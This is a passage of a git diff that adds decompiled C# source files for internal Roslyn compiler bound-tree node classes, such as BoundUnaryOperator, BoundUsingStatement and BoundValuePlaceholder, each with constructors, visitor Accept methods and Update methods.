Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTypePattern(this); + } + + public BoundTypePattern Update(BoundTypeExpression declaredType, bool isExplicitNotNullTest, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (declaredType != DeclaredType || isExplicitNotNullTest != IsExplicitNotNullTest || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundTypePattern boundTypePattern = new BoundTypePattern(Syntax, declaredType, isExplicitNotNullTest, inputType, narrowedType, base.HasErrors); + boundTypePattern.CopyAttributes(this); + return boundTypePattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnaryOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnaryOperator.cs new file mode 100644 index 0000000..b0e59f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnaryOperator.cs @@ -0,0 +1,65 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnaryOperator : BoundExpression +{ + public override Symbol? ExpressionSymbol => MethodOpt; + + public new TypeSymbol Type => base.Type; + + public UnaryOperatorKind OperatorKind { get; } + + public BoundExpression Operand { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public MethodSymbol? MethodOpt { get; } + + public TypeSymbol? ConstrainedToTypeOpt { get; } + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray OriginalUserDefinedOperatorsOpt { get; } + + public BoundUnaryOperator(SyntaxNode syntax, UnaryOperatorKind operatorKind, BoundExpression operand, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : this(syntax, operatorKind, operand, constantValueOpt, methodOpt, constrainedToTypeOpt, resultKind, default(ImmutableArray), type, hasErrors) + { + } + + public BoundUnaryOperator Update(UnaryOperatorKind operatorKind, BoundExpression operand, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, TypeSymbol type) + { + return Update(operatorKind, operand, constantValueOpt, methodOpt, constrainedToTypeOpt, resultKind, OriginalUserDefinedOperatorsOpt, type); + } + + public BoundUnaryOperator(SyntaxNode syntax, UnaryOperatorKind operatorKind, BoundExpression operand, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.UnaryOperator, syntax, type, hasErrors || operand.HasErrors()) + { + OperatorKind = operatorKind; + Operand = operand; + ConstantValueOpt = constantValueOpt; + MethodOpt = methodOpt; + ConstrainedToTypeOpt = constrainedToTypeOpt; + ResultKind = resultKind; + OriginalUserDefinedOperatorsOpt = originalUserDefinedOperatorsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnaryOperator(this); + } + + public BoundUnaryOperator Update(UnaryOperatorKind operatorKind, BoundExpression operand, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type) + { + if (operatorKind != OperatorKind || operand != Operand || constantValueOpt != ConstantValueOpt || !SymbolEqualityComparer.ConsiderEverything.Equals(methodOpt, MethodOpt) || !TypeSymbol.Equals(constrainedToTypeOpt, ConstrainedToTypeOpt, (TypeCompareKind)0) || resultKind != ResultKind || originalUserDefinedOperatorsOpt != OriginalUserDefinedOperatorsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundUnaryOperator boundUnaryOperator = new BoundUnaryOperator(Syntax, operatorKind, operand, constantValueOpt, methodOpt, constrainedToTypeOpt, resultKind, originalUserDefinedOperatorsOpt, type, base.HasErrors); + boundUnaryOperator.CopyAttributes(this); + return boundUnaryOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedAddressOfOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedAddressOfOperator.cs new file mode 100644 index 0000000..141623c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedAddressOfOperator.cs @@ -0,0 +1,37 @@ +using System; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedAddressOfOperator : BoundExpression +{ + public override object Display => (FormattableString)$"&{Operand.Display}"; + + public BoundMethodGroup Operand { get; } + + public new TypeSymbol? Type => base.Type; + + public BoundUnconvertedAddressOfOperator(SyntaxNode syntax, BoundMethodGroup operand, bool hasErrors = false) + : base(BoundKind.UnconvertedAddressOfOperator, syntax, null, hasErrors || operand.HasErrors()) + { + Operand = operand; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedAddressOfOperator(this); + } + + public BoundUnconvertedAddressOfOperator Update(BoundMethodGroup operand) + { + if (operand != Operand) + { + BoundUnconvertedAddressOfOperator boundUnconvertedAddressOfOperator = new BoundUnconvertedAddressOfOperator(Syntax, operand, base.HasErrors); + boundUnconvertedAddressOfOperator.CopyAttributes(this); + return boundUnconvertedAddressOfOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedCollectionExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedCollectionExpression.cs new file mode 100644 index 0000000..ae244d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedCollectionExpression.cs @@ -0,0 +1,44 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedCollectionExpression : BoundCollectionExpressionBase +{ + public override object Display + { + get + { + if ((object)Type != null) + { + return base.Display; + } + return MessageID.IDS_FeatureCollectionExpressions.Localize(); + } + } + + public new TypeSymbol? Type => base.Type; + + public BoundUnconvertedCollectionExpression(SyntaxNode syntax, ImmutableArray elements, bool hasErrors = false) + : base(BoundKind.UnconvertedCollectionExpression, syntax, elements, null, hasErrors || elements.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedCollectionExpression(this); + } + + public BoundUnconvertedCollectionExpression Update(ImmutableArray elements) + { + if (elements != base.Elements) + { + BoundUnconvertedCollectionExpression boundUnconvertedCollectionExpression = new BoundUnconvertedCollectionExpression(Syntax, elements, base.HasErrors); + boundUnconvertedCollectionExpression.CopyAttributes(this); + return boundUnconvertedCollectionExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedConditionalOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedConditionalOperator.cs new file mode 100644 index 0000000..0ee1cf1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedConditionalOperator.cs @@ -0,0 +1,58 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedConditionalOperator : BoundExpression +{ + public override object Display + { + get + { + if ((object)Type != null) + { + return base.Display; + } + return MessageID.IDS_FeatureTargetTypedConditional.Localize(); + } + } + + public new TypeSymbol? Type => base.Type; + + public BoundExpression Condition { get; } + + public BoundExpression Consequence { get; } + + public BoundExpression Alternative { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public ErrorCode NoCommonTypeError { get; } + + public BoundUnconvertedConditionalOperator(SyntaxNode syntax, BoundExpression condition, BoundExpression consequence, BoundExpression alternative, ConstantValue? constantValueOpt, ErrorCode noCommonTypeError, bool hasErrors = false) + : base(BoundKind.UnconvertedConditionalOperator, syntax, null, hasErrors || condition.HasErrors() || consequence.HasErrors() || alternative.HasErrors()) + { + Condition = condition; + Consequence = consequence; + Alternative = alternative; + ConstantValueOpt = constantValueOpt; + NoCommonTypeError = noCommonTypeError; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedConditionalOperator(this); + } + + public BoundUnconvertedConditionalOperator Update(BoundExpression condition, BoundExpression consequence, BoundExpression alternative, ConstantValue? constantValueOpt, ErrorCode noCommonTypeError) + { + if (condition != Condition || consequence != Consequence || alternative != Alternative || constantValueOpt != ConstantValueOpt || noCommonTypeError != NoCommonTypeError) + { + BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator = new BoundUnconvertedConditionalOperator(Syntax, condition, consequence, alternative, constantValueOpt, noCommonTypeError, base.HasErrors); + boundUnconvertedConditionalOperator.CopyAttributes(this); + return boundUnconvertedConditionalOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedInterpolatedString.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedInterpolatedString.cs new file mode 100644 index 0000000..235c4be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedInterpolatedString.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedInterpolatedString : BoundInterpolatedStringBase +{ + public BoundUnconvertedInterpolatedString(SyntaxNode syntax, ImmutableArray parts, ConstantValue? constantValueOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.UnconvertedInterpolatedString, syntax, parts, constantValueOpt, type, hasErrors || parts.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedInterpolatedString(this); + } + + public BoundUnconvertedInterpolatedString Update(ImmutableArray parts, ConstantValue? constantValueOpt, TypeSymbol? type) + { + if (parts != base.Parts || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundUnconvertedInterpolatedString boundUnconvertedInterpolatedString = new BoundUnconvertedInterpolatedString(Syntax, parts, constantValueOpt, type, base.HasErrors); + boundUnconvertedInterpolatedString.CopyAttributes(this); + return boundUnconvertedInterpolatedString; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedObjectCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedObjectCreationExpression.cs new file mode 100644 index 0000000..7977510 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedObjectCreationExpression.cs @@ -0,0 +1,77 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedObjectCreationExpression : BoundExpression +{ + public override object Display + { + get + { + ImmutableArray arguments = Arguments; + if (arguments.Length == 0) + { + return "new()"; + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + object[] array = new object[arguments.Length]; + builder.Append("new"); + builder.Append('('); + builder.Append("{0}"); + array[0] = arguments[0].Display; + for (int i = 1; i < arguments.Length; i++) + { + builder.Append(", {" + i + "}"); + array[i] = arguments[i].Display; + } + builder.Append(')'); + return FormattableStringFactory.Create(instance.ToStringAndFree(), array); + } + } + + public new TypeSymbol? Type => base.Type; + + public ImmutableArray Arguments { get; } + + public ImmutableArray<(string Name, Location Location)?> ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public InitializerExpressionSyntax? InitializerOpt { get; } + + public Binder Binder { get; } + + public BoundUnconvertedObjectCreationExpression(SyntaxNode syntax, ImmutableArray arguments, ImmutableArray<(string Name, Location Location)?> argumentNamesOpt, ImmutableArray argumentRefKindsOpt, InitializerExpressionSyntax? initializerOpt, Binder binder, bool hasErrors = false) + : base(BoundKind.UnconvertedObjectCreationExpression, syntax, null, hasErrors || arguments.HasErrors()) + { + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + InitializerOpt = initializerOpt; + Binder = binder; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedObjectCreationExpression(this); + } + + public BoundUnconvertedObjectCreationExpression Update(ImmutableArray arguments, ImmutableArray<(string Name, Location Location)?> argumentNamesOpt, ImmutableArray argumentRefKindsOpt, InitializerExpressionSyntax? initializerOpt, Binder binder) + { + if (arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || initializerOpt != InitializerOpt || binder != Binder) + { + BoundUnconvertedObjectCreationExpression boundUnconvertedObjectCreationExpression = new BoundUnconvertedObjectCreationExpression(Syntax, arguments, argumentNamesOpt, argumentRefKindsOpt, initializerOpt, binder, base.HasErrors); + boundUnconvertedObjectCreationExpression.CopyAttributes(this); + return boundUnconvertedObjectCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedSwitchExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedSwitchExpression.cs new file mode 100644 index 0000000..9115e7b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUnconvertedSwitchExpression.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUnconvertedSwitchExpression : BoundSwitchExpression +{ + public override object Display + { + get + { + if ((object)base.Type != null) + { + return base.Display; + } + return MessageID.IDS_FeatureSwitchExpression.Localize(); + } + } + + public BoundUnconvertedSwitchExpression(SyntaxNode syntax, BoundExpression expression, ImmutableArray switchArms, BoundDecisionDag reachabilityDecisionDag, LabelSymbol? defaultLabel, bool reportedNotExhaustive, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.UnconvertedSwitchExpression, syntax, expression, switchArms, reachabilityDecisionDag, defaultLabel, reportedNotExhaustive, type, hasErrors || expression.HasErrors() || switchArms.HasErrors() || reachabilityDecisionDag.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUnconvertedSwitchExpression(this); + } + + public BoundUnconvertedSwitchExpression Update(BoundExpression expression, ImmutableArray switchArms, BoundDecisionDag reachabilityDecisionDag, LabelSymbol? defaultLabel, bool reportedNotExhaustive, TypeSymbol? type) + { + if (expression != base.Expression || switchArms != base.SwitchArms || reachabilityDecisionDag != base.ReachabilityDecisionDag || !SymbolEqualityComparer.ConsiderEverything.Equals(defaultLabel, base.DefaultLabel) || reportedNotExhaustive != base.ReportedNotExhaustive || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundUnconvertedSwitchExpression boundUnconvertedSwitchExpression = new BoundUnconvertedSwitchExpression(Syntax, expression, switchArms, reachabilityDecisionDag, defaultLabel, reportedNotExhaustive, type, base.HasErrors); + boundUnconvertedSwitchExpression.CopyAttributes(this); + return boundUnconvertedSwitchExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUserDefinedConditionalLogicalOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUserDefinedConditionalLogicalOperator.cs new file mode 100644 index 0000000..bde5524 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUserDefinedConditionalLogicalOperator.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUserDefinedConditionalLogicalOperator : BoundBinaryOperatorBase +{ + public override Symbol ExpressionSymbol => LogicalOperator; + + public BinaryOperatorKind OperatorKind { get; } + + public MethodSymbol LogicalOperator { get; } + + public MethodSymbol TrueOperator { get; } + + public MethodSymbol FalseOperator { get; } + + public TypeSymbol? ConstrainedToTypeOpt { get; } + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray OriginalUserDefinedOperatorsOpt { get; } + + public BoundUserDefinedConditionalLogicalOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression left, BoundExpression right, MethodSymbol logicalOperator, MethodSymbol trueOperator, MethodSymbol falseOperator, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, operatorKind, logicalOperator, trueOperator, falseOperator, constrainedToTypeOpt, resultKind, originalUserDefinedOperatorsOpt, left, right, type, hasErrors) + { + } + + public BoundUserDefinedConditionalLogicalOperator Update(BinaryOperatorKind operatorKind, MethodSymbol logicalOperator, MethodSymbol trueOperator, MethodSymbol falseOperator, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, BoundExpression left, BoundExpression right, TypeSymbol type) + { + return Update(operatorKind, logicalOperator, trueOperator, falseOperator, constrainedToTypeOpt, resultKind, OriginalUserDefinedOperatorsOpt, left, right, type); + } + + public BoundUserDefinedConditionalLogicalOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, MethodSymbol logicalOperator, MethodSymbol trueOperator, MethodSymbol falseOperator, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, BoundExpression left, BoundExpression right, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.UserDefinedConditionalLogicalOperator, syntax, left, right, type, hasErrors || left.HasErrors() || right.HasErrors()) + { + OperatorKind = operatorKind; + LogicalOperator = logicalOperator; + TrueOperator = trueOperator; + FalseOperator = falseOperator; + ConstrainedToTypeOpt = constrainedToTypeOpt; + ResultKind = resultKind; + OriginalUserDefinedOperatorsOpt = originalUserDefinedOperatorsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUserDefinedConditionalLogicalOperator(this); + } + + public BoundUserDefinedConditionalLogicalOperator Update(BinaryOperatorKind operatorKind, MethodSymbol logicalOperator, MethodSymbol trueOperator, MethodSymbol falseOperator, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, BoundExpression left, BoundExpression right, TypeSymbol type) + { + if (operatorKind != OperatorKind || !SymbolEqualityComparer.ConsiderEverything.Equals(logicalOperator, LogicalOperator) || !SymbolEqualityComparer.ConsiderEverything.Equals(trueOperator, TrueOperator) || !SymbolEqualityComparer.ConsiderEverything.Equals(falseOperator, FalseOperator) || !TypeSymbol.Equals(constrainedToTypeOpt, ConstrainedToTypeOpt, (TypeCompareKind)0) || resultKind != ResultKind || originalUserDefinedOperatorsOpt != OriginalUserDefinedOperatorsOpt || left != base.Left || right != base.Right || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = new BoundUserDefinedConditionalLogicalOperator(Syntax, operatorKind, logicalOperator, trueOperator, falseOperator, constrainedToTypeOpt, resultKind, originalUserDefinedOperatorsOpt, left, right, type, base.HasErrors); + boundUserDefinedConditionalLogicalOperator.CopyAttributes(this); + return boundUserDefinedConditionalLogicalOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingLocalDeclarations.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingLocalDeclarations.cs new file mode 100644 index 0000000..be615c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingLocalDeclarations.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUsingLocalDeclarations : BoundMultipleLocalDeclarationsBase +{ + public MethodArgumentInfo? PatternDisposeInfoOpt { get; } + + public BoundAwaitableInfo? AwaitOpt { get; } + + public BoundUsingLocalDeclarations(SyntaxNode syntax, MethodArgumentInfo? patternDisposeInfoOpt, BoundAwaitableInfo? awaitOpt, ImmutableArray localDeclarations, bool hasErrors = false) + : base(BoundKind.UsingLocalDeclarations, syntax, localDeclarations, hasErrors || awaitOpt.HasErrors() || localDeclarations.HasErrors()) + { + PatternDisposeInfoOpt = patternDisposeInfoOpt; + AwaitOpt = awaitOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUsingLocalDeclarations(this); + } + + public BoundUsingLocalDeclarations Update(MethodArgumentInfo? patternDisposeInfoOpt, BoundAwaitableInfo? awaitOpt, ImmutableArray localDeclarations) + { + if (patternDisposeInfoOpt != PatternDisposeInfoOpt || awaitOpt != AwaitOpt || localDeclarations != base.LocalDeclarations) + { + BoundUsingLocalDeclarations boundUsingLocalDeclarations = new BoundUsingLocalDeclarations(Syntax, patternDisposeInfoOpt, awaitOpt, localDeclarations, base.HasErrors); + boundUsingLocalDeclarations.CopyAttributes(this); + return boundUsingLocalDeclarations; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingStatement.cs new file mode 100644 index 0000000..e8ad00f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUsingStatement.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUsingStatement : BoundStatement +{ + public ImmutableArray Locals { get; } + + public BoundMultipleLocalDeclarations? DeclarationsOpt { get; } + + public BoundExpression? ExpressionOpt { get; } + + public BoundStatement Body { get; } + + public BoundAwaitableInfo? AwaitOpt { get; } + + public MethodArgumentInfo? PatternDisposeInfoOpt { get; } + + public BoundUsingStatement(SyntaxNode syntax, ImmutableArray locals, BoundMultipleLocalDeclarations? declarationsOpt, BoundExpression? expressionOpt, BoundStatement body, BoundAwaitableInfo? awaitOpt, MethodArgumentInfo? patternDisposeInfoOpt, bool hasErrors = false) + : base(BoundKind.UsingStatement, syntax, hasErrors || declarationsOpt.HasErrors() || expressionOpt.HasErrors() || body.HasErrors() || awaitOpt.HasErrors()) + { + Locals = locals; + DeclarationsOpt = declarationsOpt; + ExpressionOpt = expressionOpt; + Body = body; + AwaitOpt = awaitOpt; + PatternDisposeInfoOpt = patternDisposeInfoOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUsingStatement(this); + } + + public BoundUsingStatement Update(ImmutableArray locals, BoundMultipleLocalDeclarations? declarationsOpt, BoundExpression? expressionOpt, BoundStatement body, BoundAwaitableInfo? awaitOpt, MethodArgumentInfo? patternDisposeInfoOpt) + { + if (locals != Locals || declarationsOpt != DeclarationsOpt || expressionOpt != ExpressionOpt || body != Body || awaitOpt != AwaitOpt || patternDisposeInfoOpt != PatternDisposeInfoOpt) + { + BoundUsingStatement boundUsingStatement = new BoundUsingStatement(Syntax, locals, declarationsOpt, expressionOpt, body, awaitOpt, patternDisposeInfoOpt, base.HasErrors); + boundUsingStatement.CopyAttributes(this); + return boundUsingStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUtf8String.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUtf8String.cs new file mode 100644 index 0000000..8e9d9da --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundUtf8String.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundUtf8String : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public string Value { get; } + + public BoundUtf8String(SyntaxNode syntax, string value, TypeSymbol type, bool hasErrors) + : base(BoundKind.Utf8String, syntax, type, hasErrors) + { + Value = value; + } + + public BoundUtf8String(SyntaxNode syntax, string value, TypeSymbol type) + : base(BoundKind.Utf8String, syntax, type) + { + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitUtf8String(this); + } + + public BoundUtf8String Update(string value, TypeSymbol type) + { + if (value != Value || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundUtf8String boundUtf8String = new BoundUtf8String(Syntax, value, type, base.HasErrors); + boundUtf8String.CopyAttributes(this); + return boundUtf8String; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholder.cs new file mode 100644 index 0000000..07c275c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholder.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundExpression.cs", 167); + } + } + + public BoundValuePlaceholder(SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(BoundKind.ValuePlaceholder, syntax, type, hasErrors) + { + } + + public BoundValuePlaceholder(SyntaxNode syntax, TypeSymbol? type) + : base(BoundKind.ValuePlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitValuePlaceholder(this); + } + + public BoundValuePlaceholder Update(TypeSymbol? type) + { + if (!TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(Syntax, type, base.HasErrors); + boundValuePlaceholder.CopyAttributes(this); + return boundValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholderBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholderBase.cs new file mode 100644 index 0000000..5853c75 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundValuePlaceholderBase.cs @@ -0,0 +1,18 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundValuePlaceholderBase : BoundExpression +{ + public abstract override bool IsEquivalentToThisReference { get; } + + protected BoundValuePlaceholderBase(BoundKind kind, SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(kind, syntax, type, hasErrors) + { + } + + protected BoundValuePlaceholderBase(BoundKind kind, SyntaxNode syntax, TypeSymbol? type) + : base(kind, syntax, type) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhenDecisionDagNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhenDecisionDagNode.cs new file mode 100644 index 0000000..7c98aaf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundWhenDecisionDagNode.cs @@ -0,0 +1,41 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace 